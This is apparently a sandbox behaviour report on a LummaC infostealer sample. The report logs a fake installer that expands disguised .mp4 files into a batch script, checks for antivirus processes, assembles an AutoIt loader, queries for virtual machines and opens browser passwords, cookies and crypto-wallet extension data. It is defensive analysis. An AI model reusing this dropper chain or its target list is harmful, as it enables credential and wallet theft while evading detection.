Source: C:\Users\user\Desktop\Setup-Latest.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\expand.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll	Jump to behavior

Source: C:\Users\user\Desktop\Setup-Latest.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: Setup-Latest.exe

Static file information: File size 1444885 > 1048576

Source: Setup-Latest.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\Setup-Latest.exe

Code function: 0_2_00406328 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406328

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\562639\Wages.com

Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\562639\Wages.com

Jump to dropped file

Source: C:\Users\user\Desktop\Setup-Latest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com TID: 7356	Thread sleep time: -60000s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com TID: 7340	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Setup-Latest.exe	Code function: 0_2_00406301 FindFirstFileW,FindClose,		0_2_00406301
Source: C:\Users\user\Desktop\Setup-Latest.exe	Code function: 0_2_00406CC7 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,		0_2_00406CC7

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\562639	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\562639\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Setup-Latest.exe

Code function: 0_2_00406328 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406328

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\Setup-Latest.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c expand Wide.mp4 Wide.mp4.bat & Wide.mp4.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\expand.exe expand Wide.mp4 Wide.mp4.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 562639	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Always.mp4	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Yang" Labor	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 562639\Wages.com + Uniform + Textbooks + Exhibits + Accountability + Fails + Pavilion + Suggestions + Decorating + Volunteers 562639\Wages.com	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Strikes.mp4 + ..\Darkness.mp4 + ..\Oaks.mp4 + ..\Fares.mp4 + ..\Funding.mp4 + ..\Complimentary.mp4 + ..\Relate.mp4 G	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\562639\Wages.com Wages.com G	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior

Source: Wages.com, 0000000D.00000000.1763255418.0000000000973000.00000002.00000001.01000000.00000007.sdmp, Decorating.9.dr, Wages.com.1.dr

Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning

Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\Setup-Latest.exe

Code function: 0_2_00406831 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406831

Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
